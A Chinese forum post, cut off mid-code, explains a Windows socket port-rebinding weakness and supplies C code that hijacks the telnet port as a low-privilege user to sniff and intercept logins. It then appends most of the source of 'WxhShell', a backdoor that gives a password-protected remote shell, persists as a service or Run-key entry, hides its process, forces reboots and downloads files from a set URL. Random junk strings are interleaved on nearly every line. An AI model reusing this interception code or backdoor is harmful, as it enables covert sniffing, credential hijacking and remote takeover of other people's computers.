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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eVMnI yr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b (H J|  
t;3).F  
  saddr.sin_family = AF_INET; ~FAk4z=Ed  
t 4M-;y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B)DuikV.D  
3jfAv@I~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f\$_^dV  
fA1{-JzV<4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WS4DzuZZ  
X<Xiva85  
  这意味着什么?意味着可以进行如下的攻击: >u0XV"g$  
H0B=X l[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p {. 6  
4!ZT_q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =s.0 f:(  
@[\zO'|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1)97AkN(O  
<ir]bQT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z-}A "n  
4,YL15.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h4ntjk|{i7  
Fku<|1}&y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y0Tw:1a  
h c]p^/H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fWIWRsy%  
] NW_oRH  
  #include V#Y"0l+~  
  #include Mg}/gO% o  
  #include !H)!b#_  
  #include    Ur1kb{i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mss.\  
  int main() 9zx9t  
  { ?Ec{%N%  
  WORD wVersionRequested; D^s#pOZS  
  DWORD ret; w4Hq|N1-Y  
  WSADATA wsaData; E}0g  
  BOOL val; [ gR,nJH.  
  SOCKADDR_IN saddr; 3;uLBuZOCN  
  SOCKADDR_IN scaddr; vq3:N'  
  int err; g#1 Y4  
  SOCKET s; }2c&ARQ.m>  
  SOCKET sc; NTCFmdbs 6  
  int caddsize; [T [] U   
  HANDLE mt; |{,c2 Ck:N  
  DWORD tid;   |RXXj[z  
  wVersionRequested = MAKEWORD( 2, 2 ); P,G :9x"e  
  err = WSAStartup( wVersionRequested, &wsaData ); ,j(E>g3  
  if ( err != 0 ) { ^e\$g2).  
  printf("error!WSAStartup failed!\n"); EK Q>hww8  
  return -1; ~`$P-^u88X  
  } y>T>  
  saddr.sin_family = AF_INET; r1=j$G  
   /&czaAR-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  r/)ZKO,  
-M T1qqi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4}*.0'Hz  
  saddr.sin_port = htons(23); u2fp~.'P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {}RU'<D  
  { qq?o^_^4  
  printf("error!socket failed!\n"); Q TN24 q4  
  return -1; v7hw%9(=  
  } J5<1 6}*  
  val = TRUE; `6#s+JA[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oe<@mz/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jlqSw4_  
  { *c$UIg  
  printf("error!setsockopt failed!\n"); 3'0Jn6(  
  return -1; 79o=HiOF99  
  } zITxJx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6T_Ya)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LZ&I<ID`-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 COBjJ3  
SL+n y(y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =@hCc  
  { YuJ{@"H  
  ret=GetLastError(); )1GJ^h$l  
  printf("error!bind failed!\n"); J!3;\  
  return -1; :hWG:`  
  } '*@=SM  
  listen(s,2);  <pD  
  while(1) T#I}w\XlhP  
  { F|oyrG  
  caddsize = sizeof(scaddr); -r~9'aEs  
  //接受连接请求 _)YB*z5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  (wxi!  
  if(sc!=INVALID_SOCKET) 3Q7PY46  
  { m*i,|{UZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :2wT)wz  
  if(mt==NULL) ];=|))ky"  
  { ]n:R#55A  
  printf("Thread Creat Failed!\n"); MhD=\Lpj\  
  break; a^[s[j#^,  
  } j>.1RG  
  } }6{00er  
  CloseHandle(mt); ~xws5n}F  
  } _c:th{*  
  closesocket(s); :w4N*lV-  
  WSACleanup(); K_.|FEV  
  return 0; *o(bB!q"c  
  }   PB BJ.!Pb  
  DWORD WINAPI ClientThread(LPVOID lpParam) !u4eI0?R?  
  { {FILt3f;  
  SOCKET ss = (SOCKET)lpParam; ^ 6Yt2Bhs  
  SOCKET sc; xsS;<uCD  
  unsigned char buf[4096]; %*gg6Q  
  SOCKADDR_IN saddr; l>(*bb1}b  
  long num;  >Af0S;S  
  DWORD val; ]ZI@?H? O  
  DWORD ret; EF9Y=(0|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j*GS')Cm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !i@A}$y  
  saddr.sin_family = AF_INET; I58$N+#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jj ' epbA  
  saddr.sin_port = htons(23); *Z2Ko5&Y2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nCA~=[&H  
  { z|(<Co8#.  
  printf("error!socket failed!\n"); #)S&Z><<  
  return -1; ]<Q&  
  } wMCgL h\wi  
  val = 100; cBZJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A.$P1zwC  
  { P1$D[aF9$  
  ret = GetLastError(); 3m$Qd#|  
  return -1; uy<b5.!-  
  } GE !p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wdj|RKw  
  { Ufor>  
  ret = GetLastError(); P{StF`>Y  
  return -1; g{2~G6%;0  
  } u1. 0-Y?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :$P1ps3B  
  { WHU l.h  
  printf("error!socket connect failed!\n"); <;1M!.)5  
  closesocket(sc); 'UuHyC2Ha3  
  closesocket(ss); K<pZ*l  
  return -1; y*=Ipdj  
  } 4#ikdjB;  
  while(1) BV}sN{  
  { ?<Mx*l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'tX}6wurf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M+lr [,c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RfT)dS+rAh  
  num = recv(ss,buf,4096,0); y!q`o$nK  
  if(num>0) 4|4[3Ye7u:  
  send(sc,buf,num,0); <B @z>V  
  else if(num==0) la^K|!|  
  break; z 8#{=e  
  num = recv(sc,buf,4096,0); K@:t6  
  if(num>0) 38:5g_  
  send(ss,buf,num,0); vRDs~'f  
  else if(num==0) BhiOV_}Hn  
  break; m5, &;~  
  } 15Jc PDV  
  closesocket(ss); J90 )v7  
  closesocket(sc); o/=61K8D  
  return 0 ; S?c<Lf~W  
  } &(|Ot`el]v  
x]4>f[>*>  
ocpM6b.fK  
========================================================== 6#a82_  
@,LU!#y(  
下边附上一个代码,,WXhSHELL joNV4v"=`  
ZQ-6n1O  
========================================================== :EH>&vm  
JE<h  
#include "stdafx.h" ~Qf\DTM&  
iDltN]zS  
#include <stdio.h> ZzP&Zrm  
#include <string.h> )lJi7 ^,  
#include <windows.h> 0}'/3Q  
#include <winsock2.h> Zt9ld=T  
#include <winsvc.h> @![1W@J  
#include <urlmon.h> HJd{j,M  
tC.etoh  
#pragma comment (lib, "Ws2_32.lib") 7Rc>LI* '  
#pragma comment (lib, "urlmon.lib") *uKYrs [  
as!P`*@  
#define MAX_USER   100 // 最大客户端连接数 \c!e_rZ  
#define BUF_SOCK   200 // sock buffer o'Y/0hkh  
#define KEY_BUFF   255 // 输入 buffer w?Cho</Xu  
cxx8I  
#define REBOOT     0   // 重启 @3~Wukc  
#define SHUTDOWN   1   // 关机 TKVS%//  
Q:'r p  
#define DEF_PORT   5000 // 监听端口 }?HWUAL\  
A.RG8"  
#define REG_LEN     16   // 注册表键长度 !Fs<r)j  
#define SVC_LEN     80   // NT服务名长度 Tl+PRR6D*  
~aXJ5sY"f&  
// 从dll定义API 0<^Q j.(9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O[p c$Pi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); APCE }%1U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /_yAd,^-+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CBz=-Xr  
w@\4ft6d  
// wxhshell配置信息 +k0UVZZX?  
struct WSCFG { _lC0XDZ  
  int ws_port;         // 监听端口 (`R heEg@f  
  char ws_passstr[REG_LEN]; // 口令 P0k.\8qz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0_=^#r4Mu  
  char ws_regname[REG_LEN]; // 注册表键名 Kk|)N3AV:  
  char ws_svcname[REG_LEN]; // 服务名 zz8NBO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (UTA3Db  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /J(~NGT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -U\s.FI.AR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rqKK89fD'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iP1yy5T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |:SIyXGbY  
iRM ?_|  
}; ' t^ r2N/  
v+( P4f S  
// default Wxhshell configuration <oSx'_dc  
struct WSCFG wscfg={DEF_PORT, ij.NSyk9  
    "xuhuanlingzhe", J~h9i=4<bF  
    1, A+z}z@K  
    "Wxhshell", 1bjWWNzQA  
    "Wxhshell", ;qcOcm%  
            "WxhShell Service", !LsIHDs4  
    "Wrsky Windows CmdShell Service", f=Oj01Ut*  
    "Please Input Your Password: ", tqL2' (=  
  1, t Q.%f:|  
  "http://www.wrsky.com/wxhshell.exe", ']Z%6_WF  
  "Wxhshell.exe" }}oIZP\qM  
    }; v"<M ~9T)  
=<AG}by![  
// 消息定义模块 } V"A;5j`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OU*skc>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c@KNyBy2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cn_r?1{W  
char *msg_ws_ext="\n\rExit."; vtc%MG1  
char *msg_ws_end="\n\rQuit."; iT+t  
char *msg_ws_boot="\n\rReboot..."; Fu[GQ6{f  
char *msg_ws_poff="\n\rShutdown..."; 48{B}j%oU  
char *msg_ws_down="\n\rSave to "; ucJ8l(?Qc  
2Tv W 6  
char *msg_ws_err="\n\rErr!"; W'e{2u  
char *msg_ws_ok="\n\rOK!"; Rhw+~gd*F  
M7YbRl  
char ExeFile[MAX_PATH]; G}aM~,v  
int nUser = 0; y`cL3 xr4R  
HANDLE handles[MAX_USER]; V|<'o<h8  
int OsIsNt; f{|n/j;n=C  
7Oi<_b  
SERVICE_STATUS       serviceStatus; w,X J8+B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - <tTT  
XRP+0=0  
// 函数声明 GKG:iR)  
int Install(void); OJ.oHf=K!  
int Uninstall(void); -WGlOpg0;  
int DownloadFile(char *sURL, SOCKET wsh); KYq<n& s  
int Boot(int flag); 4I.)>+8V  
void HideProc(void); QJI]@3 Y  
int GetOsVer(void); Yfy";C7X  
int Wxhshell(SOCKET wsl); !lp7}[k<y  
void TalkWithClient(void *cs); { 3 "jn  
int CmdShell(SOCKET sock); /)4Q%Zp  
int StartFromService(void); hK3Twzte  
int StartWxhshell(LPSTR lpCmdLine); <t"fL RX  
=r&i`L{]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2\F'So  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @}' ?o_/C  
|Vp ?  
// 数据结构和表定义 `u8(qGg7GF  
SERVICE_TABLE_ENTRY DispatchTable[] = ghk"XJ|  
{ y-Lm^ GW4  
{wscfg.ws_svcname, NTServiceMain}, -1ci.4F&  
{NULL, NULL} eUD 5 V  
}; Wq<H sJd/  
*~.'lE%[U  
// 自我安装 }t1 q5@QU  
int Install(void) 1`Uu;mz  
{ ~SXqhX-`  
  char svExeFile[MAX_PATH]; drp< f1`l8  
  HKEY key; M1*x47bN  
  strcpy(svExeFile,ExeFile); B.);Ju  
kAW2vh  
// 如果是win9x系统,修改注册表设为自启动 $4]4G=o  
if(!OsIsNt) { S5cs(}Bq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !)`m mr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z,>owoP4  
  RegCloseKey(key); w; :{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W^eQ}A+Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \3x+Z!  
  RegCloseKey(key); E:P_CDSd]  
  return 0; `*B6T7p1  
    } 8]4W@~c  
  } O1oh,~W  
} %)e&"mq!|  
else { S4!B;,?AxN  
Krr51` hZH  
// 如果是NT以上系统,安装为系统服务 .RbPO#(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1WI^R lWd(  
if (schSCManager!=0) <V|\yH9  
{ ~^o YPd52*  
  SC_HANDLE schService = CreateService `/(9 #E  
  ( (7X^z&2  
  schSCManager, d[p?B-7%  
  wscfg.ws_svcname, ; Ji3|=4u  
  wscfg.ws_svcdisp, l4^MYwFR{O  
  SERVICE_ALL_ACCESS, \WZSY||C|_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /@",5U#  
  SERVICE_AUTO_START, DyRU$U  
  SERVICE_ERROR_NORMAL, P[H 4Yp  
  svExeFile, ayLINpL  
  NULL, bq{eu#rQJ  
  NULL, cq$ _$jRx  
  NULL, L; <Pod  
  NULL, Yb'%J@T}  
  NULL ?%b#FXA  
  ); QL-E4]   
  if (schService!=0) |doG}C  
  { 9 ]|C$;kw@  
  CloseServiceHandle(schService); rW*[sLl3  
  CloseServiceHandle(schSCManager); 5$*=;ls>J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W'v o?  
  strcat(svExeFile,wscfg.ws_svcname); 3.Jk-:u %m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6vg` 8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N\fj[?f[  
  RegCloseKey(key); c(s: f@ 1  
  return 0; -s 7a\H{~  
    } .F0Q< s9  
  } $/Llzpvny  
  CloseServiceHandle(schSCManager); Z3-=TN  
} IJLuu@kRm,  
} R vd'uIJ  
S|m|ulB  
return 1; xQNGlVipZ@  
} `F_R J.g*p  
;/!o0:m^I  
// 自我卸载 bMqFrG  
int Uninstall(void) m=60a@o]  
{ }RUK?:lEA  
  HKEY key; z7&m,:M  
B3E}fQm )  
if(!OsIsNt) { #d$lN}8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e1ExB#  
  RegDeleteValue(key,wscfg.ws_regname); :,.HJ[Vg&  
  RegCloseKey(key); QvlV jDIy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,2mq}u>WU  
  RegDeleteValue(key,wscfg.ws_regname); D=M'g}l  
  RegCloseKey(key); (XV+aQ\A  
  return 0; B_"PFWwg  
  } RAA,%rRhu(  
} _lfS"ae  
} =0>[-:Z  
else { }wC=p>zA  
Wp^ A.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FaKZ|~Y e  
if (schSCManager!=0) <=%G%V_s  
{ }-p-(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LRSt >; M  
  if (schService!=0) N({-&A.N  
  { +^[SXI^JaJ  
  if(DeleteService(schService)!=0) { )!'7!" $  
  CloseServiceHandle(schService); pbG v\S F  
  CloseServiceHandle(schSCManager); Xv xrz{  
  return 0; )IKqO:@  
  } r>t|.=!  
  CloseServiceHandle(schService); ;33SUgX  
  } ,8stEp9~h]  
  CloseServiceHandle(schSCManager); a#&\65D  
} H5be5  
} <,J O  
u|(Iu}sE=  
return 1; xiF}{25a  
} +; =XiB5R  
K~~LJU3  
// 从指定url下载文件 fbkAu  
int DownloadFile(char *sURL, SOCKET wsh) d26#0Gt-4i  
{ G9CL}=lJ,  
  HRESULT hr; `* cJc6  
char seps[]= "/"; 8]WcW/1r !  
char *token; '~xiD?:  
char *file; 0,6! 6>BOT  
char myURL[MAX_PATH]; +[pJr-k  
char myFILE[MAX_PATH]; Vr #o]v  
ix 5\Y  
strcpy(myURL,sURL); w} r mYQ  
  token=strtok(myURL,seps); y.a)M?3  
  while(token!=NULL) i"n1E@  
  { y 48zsm{  
    file=token; GQ*or>R1  
  token=strtok(NULL,seps); r<'B\.#tp>  
  } ,n$HTWa@0  
I<S*"[nV  
GetCurrentDirectory(MAX_PATH,myFILE); ZC)m&V 1  
strcat(myFILE, "\\"); [V0%=q+R  
strcat(myFILE, file); _;:B@Z  
  send(wsh,myFILE,strlen(myFILE),0); |j4;XaG)  
send(wsh,"...",3,0); 5E2T*EXSh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I3YSW  
  if(hr==S_OK) h-\+# .YP  
return 0; K\5/||gi  
else kuv+TN  
return 1; IC-W[~  
+SkfT4*U  
} #W/ATsDt  
K pmq C$  
// 系统电源模块 *++}ll6  
int Boot(int flag) 8>(/:u_x  
{ ` bZgw  
  HANDLE hToken; "f-HOd\=  
  TOKEN_PRIVILEGES tkp; YH&0Vy#c$  
\sS0@gnDI  
  if(OsIsNt) { H)5"<=]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iL'j9_w,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !~Kg_*IT  
    tkp.PrivilegeCount = 1; Pe` jNiI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =@MJEo`D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `|4k>5k  
if(flag==REBOOT) { _Pn 1n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^[b DE0  
  return 0; "fu@2y4^  
} VhU,("&pm  
else { 4 Z&KR<2Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y$W)JWMY`  
  return 0; Z5[g[Q  
} 'v5q/l  
  } l_P90zm39!  
  else { lO HW9Z  
if(flag==REBOOT) { F:LrQu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p+${_w>pl{  
  return 0; fRp(&%8E  
}  Rp6q)  
else { 2j$~lI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h/*@ML+bB8  
  return 0; lF\2a&YRbn  
} yn.[-  
} ."ytBF  
@su!9]o  
return 1; Fp>nu_-"  
} J@qLBe(v  
AL|3_+G  
// win9x进程隐藏模块 #j"GS/y"  
void HideProc(void) 54oJ MW9  
{ >".@;  
*O7PH1G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Us% _'}(/U  
  if ( hKernel != NULL ) dEam|  
  { qpq(<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j? Vs"d|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M%7|7V<o)^  
    FreeLibrary(hKernel); =)J<R;  
  } Wl]XOUZ  
$ SZIJe"K  
return; w^}* <q\  
} #p-\Y7f  
Ti>}To}B5  
// 获取操作系统版本 ."`||@|  
int GetOsVer(void) :0Fc E,1  
{ XY<KLO%  
  OSVERSIONINFO winfo; UI*&@!%bzp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ( geV(zT  
  GetVersionEx(&winfo); D[{"]=-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 38%"#T3#  
  return 1; (R(NEN  
  else V6'k\5|_  
  return 0; ^!x qOp!  
} ;Hb"SB  
{*nE8+..A  
// 客户端句柄模块 YB(8 T"  
int Wxhshell(SOCKET wsl) ^MVOaV65  
{ S`vw<u4t  
  SOCKET wsh; u\km_e  
  struct sockaddr_in client; >]2^5C;  
  DWORD myID; }&%&0$%  
-?Cu-'  
  while(nUser<MAX_USER) BL%3[JQ  
{ wV,=hMTd&\  
  int nSize=sizeof(client); 1+Vei<H$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3M>y.MS  
  if(wsh==INVALID_SOCKET) return 1; 7<k@{xI/  
2hTsjJ!'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `0-i>>  
if(handles[nUser]==0) Pt'=_^Io  
  closesocket(wsh); }MtORqK  
else ^tVIPH.R  
  nUser++; lE3&8~2   
  } o_r{cnu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |@hyGu-H+  
x[$ :^5V  
  return 0; Y>K8^GS  
} z]j_,3Hff  
3w! NTvp  
// 关闭 socket NU[Wj uLG  
void CloseIt(SOCKET wsh) 8an_s%,AW  
{ >Fc=F#tA9  
closesocket(wsh); @FN1o4&3  
nUser--; |^#Z!Hp_Y  
ExitThread(0); !X=93%  
} Hq,znRz~`  
Qd}h:U^  
// 客户端请求句柄 .C1g Dry]  
void TalkWithClient(void *cs) (>dL  
{ 1119YeL  
#vTF:r  
  SOCKET wsh=(SOCKET)cs; ppO!v?  
  char pwd[SVC_LEN]; 4hUUQ;xj  
  char cmd[KEY_BUFF]; M$3/jl*#}  
char chr[1]; =BzBM`-o  
int i,j; H+Q_%%[N  
?y^ ix+ M  
  while (nUser < MAX_USER) { zZS,<Z  
w^S]HzMd  
if(wscfg.ws_passstr) { E,[v%Xw   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2-:`lrVd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DMT2~mh  
  //ZeroMemory(pwd,KEY_BUFF); z{qn|#}  
      i=0; o|V=3y Ok  
  while(i<SVC_LEN) { 7Ur'@wr  
!1P<A1K  
  // 设置超时 PH!rWR  
  fd_set FdRead; 5(y Q-/6C+  
  struct timeval TimeOut; (- {.T  
  FD_ZERO(&FdRead); Zy6>i2f4f  
  FD_SET(wsh,&FdRead); p0HcuB)Y  
  TimeOut.tv_sec=8; Q>\9/DjUp  
  TimeOut.tv_usec=0; ak(P<OC-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); --TY[b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5 Praj  
JwUz4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > Cx;h=  
  pwd=chr[0]; Y+3r{OI  
  if(chr[0]==0xd || chr[0]==0xa) { MUp{2_RA  
  pwd=0; (M%ZSF V  
  break; u~27\oj,  
  } Fw6x (j"  
  i++; *w1R>  
    } E D_J8 +  
lUHpGr|U%  
  // 如果是非法用户,关闭 socket Y^ ,G} &p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6CzN[R}  
} /x&52~X5-  
_({K6adb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQ:5(]v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PL7_j  
1Gk'f?dw  
while(1) { -}Gk@=$G  
N#vV;  
  ZeroMemory(cmd,KEY_BUFF); =bb)B(  
+p &$`(  
      // 自动支持客户端 telnet标准   U\;mM\2rE  
  j=0; vce1'aW  
  while(j<KEY_BUFF) { 9'h4QF+Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (k>I!Z/&2  
  cmd[j]=chr[0]; Gu K!<-Oz"  
  if(chr[0]==0xa || chr[0]==0xd) { EN~ha:9  
  cmd[j]=0; %2rUJaOgy$  
  break; o%?~9rf]]  
  } /PtmJ2 [  
  j++; {b26DKkQS  
    } tfq; KR  
m-}6DN  
  // 下载文件 !8OUH6{2  
  if(strstr(cmd,"http://")) { O.wk*m!9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RyN?Sn5)  
  if(DownloadFile(cmd,wsh)) e{`DvfY21  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6qLu  
  else H%`|yUE(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "%{J$o  
  } vhu5w#]u*  
  else { p+|(lrYC  
&oqzQ+H  
    switch(cmd[0]) { j?9fb  
  agxR V  
  // 帮助 K@+(6\6I  
  case '?': { )w!*6<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ttC+`0+H  
    break; BX6]d:S  
  } 7Ys\=W1  
  // 安装 5nJmabw3  
  case 'i': { A]"IQ-  
    if(Install()) 9='=wWW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?*)wQZt;  
    else qECta'b&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mny mV;y"  
    break; :6X?EbXhK  
    } h> A}vI*:  
  // 卸载 YkbZ 2J*-  
  case 'r': { !aub@wH3  
    if(Uninstall())  Gu P1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %["V "{ z  
    else )rFcfS+/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !]z6?kUK  
    break; 7ZRLSq'S  
    } _f5n t:-  
  // 显示 wxhshell 所在路径 ~g[<A?0=y  
  case 'p': { v22ZwP  
    char svExeFile[MAX_PATH]; gzD NMM  
    strcpy(svExeFile,"\n\r"); a4iq_F#NF  
      strcat(svExeFile,ExeFile); -{'WIGm  
        send(wsh,svExeFile,strlen(svExeFile),0); -v7O*xm"  
    break; i VIpe  
    } X6g{qzHg_  
  // 重启 ^-i<TJ  
  case 'b': { H]/!J]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )w3HC($g  
    if(Boot(REBOOT)) 49m}~J=*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*lkVQ6?  
    else { ($ l t@j  
    closesocket(wsh); 4S+sz?W2j  
    ExitThread(0); p+>vX X  
    } rF8n z:8  
    break; Z#P:C":e  
    } }yW*vy6`  
  // 关机 (jY -MF3  
  case 'd': { 8 k%!1dyMB  
